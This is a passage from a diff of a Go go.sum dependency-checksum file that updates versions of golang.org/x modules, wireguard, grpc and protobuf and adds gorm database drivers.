golang.org/x/crypto v0.0.0-20190308221718-c2843e01d9a2/go.mod h1:djNgcEr1/C05ACkg1iLfiJU5Ep61QUkGW8qpdssI0+w=
|
||||
golang.org/x/crypto v0.0.0-20190530122614-20be4c3c3ed5/go.mod h1:yigFU9vqHzYiE8UmvKecakEJjdnWj3jj499lnFckfCI=
|
||||
golang.org/x/crypto v0.0.0-20191011191535-87dc89f01550/go.mod h1:yigFU9vqHzYiE8UmvKecakEJjdnWj3jj499lnFckfCI=
|
||||
golang.org/x/crypto v0.0.0-20200622213623-75b288015ac9/go.mod h1:LzIPMQfyMNhhGPhUkYOs5KpL4U8rLKemX1yGLhDgUto=
|
||||
golang.org/x/crypto v0.0.0-20201016220609-9e8e0b390897/go.mod h1:LzIPMQfyMNhhGPhUkYOs5KpL4U8rLKemX1yGLhDgUto=
|
||||
golang.org/x/crypto v0.0.0-20210921155107-089bfa567519/go.mod h1:GvvjBRRGRdwPK5ydBHafDWAxML/pGHZbMvKqRZ5+Abc=
|
||||
golang.org/x/crypto v0.0.0-20211108221036-ceb1ce70b4fa/go.mod h1:GvvjBRRGRdwPK5ydBHafDWAxML/pGHZbMvKqRZ5+Abc=
|
||||
golang.org/x/crypto v0.0.0-20220208050332-20e1d8d225ab/go.mod h1:IxCIyHEi3zRg3s0A5j5BB6A9Jmi73HwBIUl50j+osU4=
|
||||
golang.org/x/crypto v0.21.0 h1:X31++rzVUdKhX5sWmSOFZxx8UW/ldWx55cbf08iNAMA=
|
||||
golang.org/x/crypto v0.21.0/go.mod h1:0BP7YvVV9gBbVKyeTG0Gyn+gZm94bibOW5BjDEYAOMs=
|
||||
golang.org/x/crypto v0.22.0 h1:g1v0xeRhjcugydODzvb3mEM9SQ0HGp9s/nh3COQ/C30=
|
||||
golang.org/x/crypto v0.22.0/go.mod h1:vr6Su+7cTlO45qkww3VDJlzDn0ctJvRgYbC2NvXHt+M=
|
||||
golang.org/x/exp v0.0.0-20190121172915-509febef88a4/go.mod h1:CJ0aWSM057203Lf6IL+f9T1iT9GByDxfZKAQTCR3kQA=
|
||||
golang.org/x/exp v0.0.0-20230905200255-921286631fa9 h1:GoHiUyI/Tp2nVkLI2mCxVkOjsbSXD66ic0XW0js0R9g=
|
||||
golang.org/x/exp v0.0.0-20230905200255-921286631fa9/go.mod h1:S2oDrQGGwySpoQPVqRShND87VCbxmc6bL1Yd2oYrm6k=
|
||||
golang.org/x/exp/typeparams v0.0.0-20230905200255-921286631fa9 h1:j3D9DvWRpUfIyFfDPws7LoIZ2MAI1OJHdQXtTnYtN+k=
|
||||
golang.org/x/exp/typeparams v0.0.0-20230905200255-921286631fa9/go.mod h1:AbB0pIl9nAr9wVwH+Z2ZpaocVmF5I4GyWCDIsVjR0bk=
|
||||
golang.org/x/exp v0.0.0-20240416160154-fe59bbe5cc7f h1:99ci1mjWVBWwJiEKYY6jWa4d2nTQVIEhZIptnrVb1XY=
|
||||
golang.org/x/exp v0.0.0-20240416160154-fe59bbe5cc7f/go.mod h1:/lliqkxwWAhPjf5oSOIJup2XcqJaw8RGS6k3TGEc7GI=
|
||||
golang.org/x/exp/typeparams v0.0.0-20240119083558-1b970713d09a h1:8qmSSA8Gz/1kTrCe0nqR0R3Gb/NDhykzWw2q2mWZydM=
|
||||
golang.org/x/exp/typeparams v0.0.0-20240119083558-1b970713d09a/go.mod h1:AbB0pIl9nAr9wVwH+Z2ZpaocVmF5I4GyWCDIsVjR0bk=
|
||||
golang.org/x/image v0.15.0 h1:kOELfmgrmJlw4Cdb7g/QGuB3CvDrXbqEIww/pNtNBm8=
|
||||
golang.org/x/image v0.15.0/go.mod h1:HUYqC05R2ZcZ3ejNQsIHQDQiwWM4JBqmm6MKANTp4LE=
|
||||
golang.org/x/lint v0.0.0-20181026193005-c67002cb31c3/go.mod h1:UVdnD1Gm6xHRNCYTkRU2/jEulfH38KcIWyp/GAMgvoE=
|
||||
golang.org/x/lint v0.0.0-20190227174305-5b3e6a55c961/go.mod h1:wehouNa3lNwaWXcvxsM5YxQ5yQlVC4a0KAMCusXpPoU=
|
||||
golang.org/x/lint v0.0.0-20190313153728-d0100b6bd8b3/go.mod h1:6SW0HCj/g11FgYtHlgUYUwCkIfeOF89ocIRzGO/8vkc=
|
||||
@@ -461,8 +442,8 @@ golang.org/x/lint v0.0.0-20190930215403-16217165b5de/go.mod h1:6SW0HCj/g11FgYtHl
|
||||
golang.org/x/mod v0.2.0/go.mod h1:s0Qsj1ACt9ePp/hMypM3fl4fZqREWJwdYDEqhRiZZUA=
|
||||
golang.org/x/mod v0.3.0/go.mod h1:s0Qsj1ACt9ePp/hMypM3fl4fZqREWJwdYDEqhRiZZUA=
|
||||
golang.org/x/mod v0.6.0-dev.0.20220419223038-86c51ed26bb4/go.mod h1:jJ57K6gSWd91VN4djpZkiMVwK6gcyfeH4XE8wZrZaV4=
|
||||
golang.org/x/mod v0.13.0 h1:I/DsJXRlw/8l/0c24sM9yb0T4z9liZTduXvdAWYiysY=
|
||||
golang.org/x/mod v0.13.0/go.mod h1:hTbmBsO62+eylJbnUtE2MGJUyE7QWk4xUqPFrRgJ+7c=
|
||||
golang.org/x/mod v0.17.0 h1:zY54UmvipHiNd+pm+m0x9KhZ9hl1/7QNMyxXbc6ICqA=
|
||||
golang.org/x/mod v0.17.0/go.mod h1:hTbmBsO62+eylJbnUtE2MGJUyE7QWk4xUqPFrRgJ+7c=
|
||||
golang.org/x/net v0.0.0-20180724234803-3673e40ba225/go.mod h1:mL1N/T3taQHkDXs73rZJwtUhF3w3ftmwwsq0BUmARs4=
|
||||
golang.org/x/net v0.0.0-20180826012351-8a410e7b638d/go.mod h1:mL1N/T3taQHkDXs73rZJwtUhF3w3ftmwwsq0BUmARs4=
|
||||
golang.org/x/net v0.0.0-20190213061140-3a22650c66bd/go.mod h1:mL1N/T3taQHkDXs73rZJwtUhF3w3ftmwwsq0BUmARs4=
|
||||
@@ -472,16 +453,12 @@ golang.org/x/net v0.0.0-20190620200207-3b0461eec859/go.mod h1:z5CRVTTTmAJ677TzLL
|
||||
golang.org/x/net v0.0.0-20200226121028-0de0cce0169b/go.mod h1:z5CRVTTTmAJ677TzLLGU+0bjPO0LkuOLi4/5GtJWs/s=
|
||||
golang.org/x/net v0.0.0-20201021035429-f5854403a974/go.mod h1:sp8m0HH+o8qH0wwXwYZr8TS3Oi6o0r6Gce1SSxlDquU=
|
||||
golang.org/x/net v0.0.0-20210226172049-e18ecbb05110/go.mod h1:m0MpNAwzfU5UDzcl9v0D8zg8gWTRqZa9RBIspLL5mdg=
|
||||
golang.org/x/net v0.0.0-20210928044308-7d9f5e0b762b/go.mod h1:9nx3DQGgdP8bBQD5qxJ1jj9UTztislL4KSBs9R2vV5Y=
|
||||
golang.org/x/net v0.0.0-20211111083644-e5c967477495/go.mod h1:9nx3DQGgdP8bBQD5qxJ1jj9UTztislL4KSBs9R2vV5Y=
|
||||
golang.org/x/net v0.0.0-20211112202133-69e39bad7dc2/go.mod h1:9nx3DQGgdP8bBQD5qxJ1jj9UTztislL4KSBs9R2vV5Y=
|
||||
golang.org/x/net v0.0.0-20220127200216-cd36cc0744dd/go.mod h1:CfG3xpIq0wQ8r1q4Su4UZFWDARRcnwPjda9FqA0JpMk=
|
||||
golang.org/x/net v0.0.0-20220722155237-a158d28d115b/go.mod h1:XRhObCWvk6IyKnWLug+ECip1KBveYUHfp+8e9klMJ9c=
|
||||
golang.org/x/net v0.23.0 h1:7EYJ93RZ9vYSZAIb2x3lnuvqO5zneoD6IvWjuhfxjTs=
|
||||
golang.org/x/net v0.23.0/go.mod h1:JKghWKKOSdJwpW2GEx0Ja7fmaKnMsbu+MWVZTokSYmg=
|
||||
golang.org/x/net v0.24.0 h1:1PcaxkF854Fu3+lvBIx5SYn9wRlBzzcnHZSiaFFAb0w=
|
||||
golang.org/x/net v0.24.0/go.mod h1:2Q7sJY5mzlzWjKtYUEXSlBWCdyaioyXzRB2RtU8KVE8=
|
||||
golang.org/x/oauth2 v0.0.0-20180821212333-d2e6202438be/go.mod h1:N/0e6XlmueqKjAGxoOufVs8QHGRruUQn6yWY3a++T0U=
|
||||
golang.org/x/oauth2 v0.12.0 h1:smVPGxink+n1ZI5pkQa8y6fZT0RW0MgCO5bFpepy4B4=
|
||||
golang.org/x/oauth2 v0.12.0/go.mod h1:A74bZ3aGXgCY0qaIC9Ahg6Lglin4AMAco8cIv9baba4=
|
||||
golang.org/x/oauth2 v0.17.0 h1:6m3ZPmLEFdVxKKWnKq4VqZ60gutO35zm+zrAHVmHyDQ=
|
||||
golang.org/x/oauth2 v0.17.0/go.mod h1:OzPDGQiuQMguemayvdylqddI7qcD9lnSDb+1FiwQ5HA=
|
||||
golang.org/x/sync v0.0.0-20180314180146-1d60e4601c6f/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM=
|
||||
golang.org/x/sync v0.0.0-20181108010431-42b317875d0f/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM=
|
||||
golang.org/x/sync v0.0.0-20190423024810-112230192c58/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM=
|
||||
@@ -489,8 +466,8 @@ golang.org/x/sync v0.0.0-20190911185100-cd5d95a43a6e/go.mod h1:RxMgew5VJxzue5/jJ
|
||||
golang.org/x/sync v0.0.0-20201020160332-67f06af15bc9/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM=
|
||||
golang.org/x/sync v0.0.0-20210220032951-036812b2e83c/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM=
|
||||
golang.org/x/sync v0.0.0-20220722155255-886fb9371eb4/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM=
|
||||
golang.org/x/sync v0.4.0 h1:zxkM55ReGkDlKSM+Fu41A+zmbZuaPVbGMzvvdUPznYQ=
|
||||
golang.org/x/sync v0.4.0/go.mod h1:FU7BRWz2tNW+3quACPkgCx/L+uEAv1htQ0V83Z9Rj+Y=
|
||||
golang.org/x/sync v0.7.0 h1:YsImfSBoP9QPYL0xyKJPq0gcaJdG3rInoqxTWbfQu9M=
|
||||
golang.org/x/sync v0.7.0/go.mod h1:Czt+wKu1gCyEFDUtn0jG5QVvpJ6rzVqr5aXyt9drQfk=
|
||||
golang.org/x/sys v0.0.0-20180830151530-49385e6e1522/go.mod h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY=
|
||||
golang.org/x/sys v0.0.0-20190215142949-d0b11bdaac8a/go.mod h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY=
|
||||
golang.org/x/sys v0.0.0-20190222072716-a9d3bda3a223/go.mod h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY=
|
||||
@@ -500,22 +477,15 @@ golang.org/x/sys v0.0.0-20190530182044-ad28b68e88f1/go.mod h1:h1NjWce9XRLGQEsW7w
|
||||
golang.org/x/sys v0.0.0-20191026070338-33540a1f6037/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
|
||||
golang.org/x/sys v0.0.0-20200116001909-b77594299b42/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
|
||||
golang.org/x/sys v0.0.0-20200217220822-9197077df867/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
|
||||
golang.org/x/sys v0.0.0-20200223170610-d5e6a3e2c0ae/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
|
||||
golang.org/x/sys v0.0.0-20200728102440-3e129f6d46b1/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
|
||||
golang.org/x/sys v0.0.0-20200930185726-fdedc70b468f/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
|
||||
golang.org/x/sys v0.0.0-20201018230417-eeed37f84f13/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
|
||||
golang.org/x/sys v0.0.0-20201119102817-f84b799fce68/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
|
||||
golang.org/x/sys v0.0.0-20210124154548-22da62e12c0c/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
|
||||
golang.org/x/sys v0.0.0-20210217105451-b926d437f341/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
|
||||
golang.org/x/sys v0.0.0-20210301091718-77cc2087c03b/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
|
||||
golang.org/x/sys v0.0.0-20210423082822-04245dca01da/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
|
||||
golang.org/x/sys v0.0.0-20210615035016-665e8c7367d1/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
|
||||
golang.org/x/sys v0.0.0-20210927094055-39ccf1dd6fa6/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
|
||||
golang.org/x/sys v0.0.0-20211025201205-69cdffdb9359/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
|
||||
golang.org/x/sys v0.0.0-20211103235746-7861aae1554b/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
|
||||
golang.org/x/sys v0.0.0-20211110154304-99a53858aa08/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
|
||||
golang.org/x/sys v0.0.0-20211216021012-1d35b9e2eb4e/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
|
||||
golang.org/x/sys v0.0.0-20220128215802-99c3d69c2c27/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
|
||||
golang.org/x/sys v0.0.0-20220207234003-57398862261d/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
|
||||
golang.org/x/sys v0.0.0-20220330033206-e17cdc41300f/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
|
||||
golang.org/x/sys v0.0.0-20220520151302-bc2c85ada10a/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
|
||||
golang.org/x/sys v0.0.0-20220622161953-175b2fd9d664/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
|
||||
@@ -526,23 +496,21 @@ golang.org/x/sys v0.0.0-20220817070843-5a390386f1f2/go.mod h1:oPkhp1MJrh7nUepCBc
|
||||
golang.org/x/sys v0.1.0/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
|
||||
golang.org/x/sys v0.4.1-0.20230131160137-e7d7f63158de/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
|
||||
golang.org/x/sys v0.6.0/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
|
||||
golang.org/x/sys v0.18.0 h1:DBdB3niSjOA/O0blCZBqDefyWNYveAYMNF1Wum0DYQ4=
|
||||
golang.org/x/sys v0.18.0/go.mod h1:/VUhepiaJMQUp4+oa/7Zr1D23ma6VTLIYjOOTFZPUcA=
|
||||
golang.org/x/sys v0.16.0/go.mod h1:/VUhepiaJMQUp4+oa/7Zr1D23ma6VTLIYjOOTFZPUcA=
|
||||
golang.org/x/sys v0.19.0 h1:q5f1RH2jigJ1MoAWp2KTp3gm5zAGFUTarQZ5U386+4o=
|
||||
golang.org/x/sys v0.19.0/go.mod h1:/VUhepiaJMQUp4+oa/7Zr1D23ma6VTLIYjOOTFZPUcA=
|
||||
golang.org/x/term v0.0.0-20201126162022-7de9c90e9dd1/go.mod h1:bj7SfCRtBDWHUb9snDiAeCFNEtKQo2Wmx5Cou7ajbmo=
|
||||
golang.org/x/term v0.0.0-20210927222741-03fcf44c2211/go.mod h1:jbD1KX2456YbFQfuXm/mYQcufACuNUgVhRMnK/tPxf8=
|
||||
golang.org/x/term v0.18.0 h1:FcHjZXDMxI8mM3nwhX9HlKop4C0YQvCVCdwYl2wOtE8=
|
||||
golang.org/x/term v0.18.0/go.mod h1:ILwASektA3OnRv7amZ1xhE/KTR+u50pbXfZ03+6Nx58=
|
||||
golang.org/x/term v0.19.0 h1:+ThwsDv+tYfnJFhF4L8jITxu1tdTWRTZpdsWgEgjL6Q=
|
||||
golang.org/x/term v0.19.0/go.mod h1:2CuTdWZ7KHSQwUzKva0cbMg6q2DMI3Mmxp+gKJbskEk=
|
||||
golang.org/x/text v0.3.0/go.mod h1:NqM8EUOU14njkJ3fqMW+pc6Ldnwhi/IjpwHt7yyuwOQ=
|
||||
golang.org/x/text v0.3.2/go.mod h1:bEr9sfX3Q8Zfm5fL9x+3itogRgK3+ptLWKqgva+5dAk=
|
||||
golang.org/x/text v0.3.3/go.mod h1:5Zoc/QRtKVWzQhOtBMvqHzDpF6irO9z98xDceosuGiQ=
|
||||
golang.org/x/text v0.3.6/go.mod h1:5Zoc/QRtKVWzQhOtBMvqHzDpF6irO9z98xDceosuGiQ=
|
||||
golang.org/x/text v0.3.7/go.mod h1:u+2+/6zg+i71rQMx5EYifcz6MCKuco9NR6JIITiCfzQ=
|
||||
golang.org/x/text v0.4.0/go.mod h1:mrYo+phRRbMaCq/xk9113O4dZlRixOauAjOtrjsXDZ8=
|
||||
golang.org/x/text v0.14.0 h1:ScX5w1eTa3QqT8oi6+ziP7dTV1S2+ALU0bI+0zXKWiQ=
|
||||
golang.org/x/text v0.14.0/go.mod h1:18ZOQIKpY8NJVqYksKHtTdi31H5itFRjB5/qKTNYzSU=
|
||||
golang.org/x/time v0.0.0-20191024005414-555d28b269f0/go.mod h1:tRJNPiyCQ0inRvYxbN9jk5I+vvW/OXSQhTDSoE431IQ=
|
||||
golang.org/x/time v0.3.0 h1:rg5rLMjNzMS1RkNLzCG38eapWhnYLFYXDXj2gOlr8j4=
|
||||
golang.org/x/time v0.3.0/go.mod h1:tRJNPiyCQ0inRvYxbN9jk5I+vvW/OXSQhTDSoE431IQ=
|
||||
golang.org/x/time v0.5.0 h1:o7cqy6amK/52YcAKIPlM3a+Fpj35zvRj2TP+e1xFSfk=
|
||||
golang.org/x/time v0.5.0/go.mod h1:3BpzKBy/shNhVucY/MWOyx10tF3SFh9QdLuxbVysPQM=
|
||||
golang.org/x/tools v0.0.0-20180917221912-90fa682c2a6e/go.mod h1:n7NCudcB/nEzxVGmLbDWY5pfWTLqBcC2KZ6jyYvM4mQ=
|
||||
golang.org/x/tools v0.0.0-20190114222345-bf090417da8b/go.mod h1:n7NCudcB/nEzxVGmLbDWY5pfWTLqBcC2KZ6jyYvM4mQ=
|
||||
golang.org/x/tools v0.0.0-20190226205152-f727befe758c/go.mod h1:9Yl7xja0Znq3iFh3HoIrodX9oNMXvdceNzlUR8zjMvY=
|
||||
@@ -553,21 +521,18 @@ golang.org/x/tools v0.0.0-20191119224855-298f0cb1881e/go.mod h1:b+2E5dAYhXwXZwtn
|
||||
golang.org/x/tools v0.0.0-20200619180055-7c47624df98f/go.mod h1:EkVYQZoAsY45+roYkvgYkIh4xh/qjgUK9TdY2XT94GE=
|
||||
golang.org/x/tools v0.0.0-20210106214847-113979e3529a/go.mod h1:emZCQorbCU4vsT4fOWvOPXz4eW1wZW4PmDk9uLelYpA=
|
||||
golang.org/x/tools v0.1.12/go.mod h1:hNGJHUnrk76NpqgfD5Aqm5Crs+Hm0VOH/i9J2+nxYbc=
|
||||
golang.org/x/tools v0.14.0 h1:jvNa2pY0M4r62jkRQ6RwEZZyPcymeL9XZMLBbV7U2nc=
|
||||
golang.org/x/tools v0.14.0/go.mod h1:uYBEerGOWcJyEORxN+Ek8+TT266gXkNlHdJBwexUsBg=
|
||||
golang.org/x/tools v0.20.0 h1:hz/CVckiOxybQvFw6h7b/q80NTr9IUQb4s1IIzW7KNY=
|
||||
golang.org/x/tools v0.20.0/go.mod h1:WvitBU7JJf6A4jOdg4S1tviW9bhUxkgeCui/0JHctQg=
|
||||
golang.org/x/xerrors v0.0.0-20190717185122-a985d3407aa7/go.mod h1:I/5z698sn9Ka8TeJc9MKroUUfqBBauWjQqLJ2OPfmY0=
|
||||
golang.org/x/xerrors v0.0.0-20191011141410-1b5146add898/go.mod h1:I/5z698sn9Ka8TeJc9MKroUUfqBBauWjQqLJ2OPfmY0=
|
||||
golang.org/x/xerrors v0.0.0-20191204190536-9bdfabe68543/go.mod h1:I/5z698sn9Ka8TeJc9MKroUUfqBBauWjQqLJ2OPfmY0=
|
||||
golang.org/x/xerrors v0.0.0-20200804184101-5ec99f83aff1/go.mod h1:I/5z698sn9Ka8TeJc9MKroUUfqBBauWjQqLJ2OPfmY0=
|
||||
golang.zx2c4.com/go118/netip v0.0.0-20211111135330-a4a02eeacf9d/go.mod h1:5yyfuiqVIJ7t+3MqrpTQ+QqRkMWiESiyDvPNvKYCecg=
|
||||
golang.zx2c4.com/wintun v0.0.0-20211104114900-415007cec224/go.mod h1:deeaetjYA+DHMHg+sMSMI58GrEteJUUzzw7en6TJQcI=
|
||||
golang.zx2c4.com/wintun v0.0.0-20230126152724-0fa3db229ce2 h1:B82qJJgjvYKsXS9jeunTOisW56dUokqW/FOteYJJ/yg=
|
||||
golang.zx2c4.com/wintun v0.0.0-20230126152724-0fa3db229ce2/go.mod h1:deeaetjYA+DHMHg+sMSMI58GrEteJUUzzw7en6TJQcI=
|
||||
golang.zx2c4.com/wireguard v0.0.0-20220202223031-3b95c81cc178/go.mod h1:TjUWrnD5ATh7bFvmm/ALEJZQ4ivKbETb6pmyj1vUoNI=
|
||||
golang.zx2c4.com/wireguard v0.0.0-20231022001213-2e0774f246fb h1:c5tyN8sSp8jSDxdCCDXVOpJwYXXhmTkNMt+g0zTSOic=
|
||||
golang.zx2c4.com/wireguard v0.0.0-20231022001213-2e0774f246fb/go.mod h1:tkCQ4FQXmpAgYVh++1cq16/dH4QJtmvpRv19DWGAHSA=
|
||||
golang.zx2c4.com/wireguard/wgctrl v0.0.0-20220208144051-fde48d68ee68 h1:9c4/JVIQUc2qCJEEIiGIs3HmmnFjhPj4qHW4+Uj+u3U=
|
||||
golang.zx2c4.com/wireguard/wgctrl v0.0.0-20220208144051-fde48d68ee68/go.mod h1:8P32Ilp1kCpwB4ItaHyvSk4xAtnpQ+8gQVfg5WaO1TU=
|
||||
golang.zx2c4.com/wireguard v0.0.0-20231211153847-12269c276173 h1:/jFs0duh4rdb8uIfPMv78iAJGcPKDeqAFnaLBropIC4=
|
||||
golang.zx2c4.com/wireguard v0.0.0-20231211153847-12269c276173/go.mod h1:tkCQ4FQXmpAgYVh++1cq16/dH4QJtmvpRv19DWGAHSA=
|
||||
golang.zx2c4.com/wireguard/wgctrl v0.0.0-20230429144221-925a1e7659e6 h1:CawjfCvYQH2OU3/TnxLx97WDSUDRABfT18pCOYwc2GE=
|
||||
golang.zx2c4.com/wireguard/wgctrl v0.0.0-20230429144221-925a1e7659e6/go.mod h1:3rxYc4HtVcSG9gVaTs2GEBdehh+sYPOwKtyUWEOTb80=
|
||||
golang.zx2c4.com/wireguard/windows v0.5.3 h1:On6j2Rpn3OEMXqBq00QEDC7bWSZrPIHKIus8eIuExIE=
|
||||
golang.zx2c4.com/wireguard/windows v0.5.3/go.mod h1:9TEe8TJmtwyQebdFwAkEWOPr3prrtqm+REGFifP60hI=
|
||||
google.golang.org/appengine v1.1.0/go.mod h1:EbEs0AVv82hx2wNQdGPgUI5lhzA/G0D9YwlJXL52JkM=
|
||||
@@ -577,19 +542,17 @@ google.golang.org/appengine v1.6.8/go.mod h1:1jJ3jBArFh5pcgW8gCtRJnepW8FzD1V44FJ
|
||||
google.golang.org/genproto v0.0.0-20180817151627-c66870c02cf8/go.mod h1:JiN7NxoALGmiZfu7CAH4rXhgtRTLTxftemlI0sWmxmc=
|
||||
google.golang.org/genproto v0.0.0-20190819201941-24fa4b261c55/go.mod h1:DMBHOl98Agz4BDEuKkezgsaosCRResVns1a3J2ZsMNc=
|
||||
google.golang.org/genproto v0.0.0-20200423170343-7949de9c1215/go.mod h1:55QSHmfGQM9UVYDPBsyGGes0y52j32PQ3BqQfXhyH3c=
|
||||
google.golang.org/genproto/googleapis/rpc v0.0.0-20230822172742-b8732ec3820d h1:uvYuEyMHKNt+lT4K3bN6fGswmK8qSvcreM3BwjDh+y4=
|
||||
google.golang.org/genproto/googleapis/rpc v0.0.0-20230822172742-b8732ec3820d/go.mod h1:+Bk1OCOj40wS2hwAMA+aCW9ypzm63QTBBHp6lQ3p+9M=
|
||||
google.golang.org/genproto/googleapis/rpc v0.0.0-20240227224415-6ceb2ff114de h1:cZGRis4/ot9uVm639a+rHCUaG0JJHEsdyzSQTMX+suY=
|
||||
google.golang.org/genproto/googleapis/rpc v0.0.0-20240227224415-6ceb2ff114de/go.mod h1:H4O17MA/PE9BsGx3w+a+W2VOLLD1Qf7oJneAoU6WktY=
|
||||
google.golang.org/grpc v1.19.0/go.mod h1:mqu4LbDTu4XGKhr4mRzUsmM4RtVoemTSY81AxZiDr8c=
|
||||
google.golang.org/grpc v1.23.0/go.mod h1:Y5yQAOtifL1yxbo5wqy6BxZv8vAUGQwXBOALyacEbxg=
|
||||
google.golang.org/grpc v1.25.1/go.mod h1:c3i+UQWmh7LiEpx4sFZnkU36qjEYZ0imhYfXVyQciAY=
|
||||
google.golang.org/grpc v1.27.0/go.mod h1:qbnxyOmOxrQa7FizSgH+ReBfzJrCY1pSN7KXBS8abTk=
|
||||
google.golang.org/grpc v1.29.1/go.mod h1:itym6AZVZYACWQqET3MqgPpjcuV5QH3BxFS3IjizoKk=
|
||||
google.golang.org/grpc v1.59.0 h1:Z5Iec2pjwb+LEOqzpB2MR12/eKFhDPhuqW91O+4bwUk=
|
||||
google.golang.org/grpc v1.59.0/go.mod h1:aUPDwccQo6OTjy7Hct4AfBPD1GptF4fyUjIkQ9YtF98=
|
||||
google.golang.org/protobuf v1.26.0-rc.1/go.mod h1:jlhhOSvTdKEhbULTjvd4ARK9grFBp09yW+WbY/TyQbw=
|
||||
google.golang.org/protobuf v1.26.0/go.mod h1:9q0QmTI4eRPtz6boOQmLYwt+qCgq0jsYwAQnmE0givc=
|
||||
google.golang.org/protobuf v1.33.0 h1:uNO2rsAINq/JlFpSdYEKIZ0uKD/R9cpdv0T+yoGwGmI=
|
||||
google.golang.org/protobuf v1.33.0/go.mod h1:c6P6GXX6sHbq/GpV6MGZEdwhWPcYBgnhAHhKbcUYpos=
|
||||
google.golang.org/grpc v1.63.2 h1:MUeiw1B2maTVZthpU5xvASfTh3LDbxHd6IJ6QQVU+xM=
|
||||
google.golang.org/grpc v1.63.2/go.mod h1:WAX/8DgncnokcFUldAxq7GeB5DXHDbMF+lLvDomNkRA=
|
||||
google.golang.org/protobuf v1.34.0 h1:Qo/qEd2RZPCf2nKuorzksSknv0d3ERwp1vFG38gSmH4=
|
||||
google.golang.org/protobuf v1.34.0/go.mod h1:c6P6GXX6sHbq/GpV6MGZEdwhWPcYBgnhAHhKbcUYpos=
|
||||
gopkg.in/AlecAivazis/survey.v1 v1.8.8 h1:5UtTowJZTz1j7NxVzDGKTz6Lm9IWm8DDF6b7a2wq9VY=
|
||||
gopkg.in/AlecAivazis/survey.v1 v1.8.8/go.mod h1:CaHjv79TCgAvXMSFJSVgonHXYWxnhzI3eoHtnX5UgUo=
|
||||
gopkg.in/check.v1 v0.0.0-20161208181325-20d25e280405/go.mod h1:Co6ibVJAznAaIkqp8huTwlJQCZ016jof/cbN4VW5Yz0=
|
||||
@@ -614,58 +577,54 @@ gopkg.in/yaml.v3 v3.0.0-20200313102051-9f266ea9e77c/go.mod h1:K4uyk7z7BCEPqu6E+C
|
||||
gopkg.in/yaml.v3 v3.0.0-20210107192922-496545a6307b/go.mod h1:K4uyk7z7BCEPqu6E+C64Yfv1cQ7kz7rIZviUmN+EgEM=
|
||||
gopkg.in/yaml.v3 v3.0.1 h1:fxVm/GzAzEWqLHuvctI91KS9hhNmmWOoWu0XTYJS7CA=
|
||||
gopkg.in/yaml.v3 v3.0.1/go.mod h1:K4uyk7z7BCEPqu6E+C64Yfv1cQ7kz7rIZviUmN+EgEM=
|
||||
gorm.io/driver/mysql v1.5.1 h1:WUEH5VF9obL/lTtzjmML/5e6VfFR/788coz2uaVCAZw=
|
||||
gorm.io/driver/mysql v1.5.1/go.mod h1:Jo3Xu7mMhCyj8dlrb3WoCaRd1FhsVh+yMXb1jUInf5o=
|
||||
gorm.io/driver/postgres v1.5.2 h1:ytTDxxEv+MplXOfFe3Lzm7SjG09fcdb3Z/c056DTBx0=
|
||||
gorm.io/driver/postgres v1.5.2/go.mod h1:fmpX0m2I1PKuR7mKZiEluwrP3hbs+ps7JIGMUBpCgl8=
|
||||
gorm.io/driver/sqlite v1.5.4 h1:IqXwXi8M/ZlPzH/947tn5uik3aYQslP9BVveoax0nV0=
|
||||
gorm.io/driver/sqlite v1.5.4/go.mod h1:qxAuCol+2r6PannQDpOP1FP6ag3mKi4esLnB/jHed+4=
|
||||
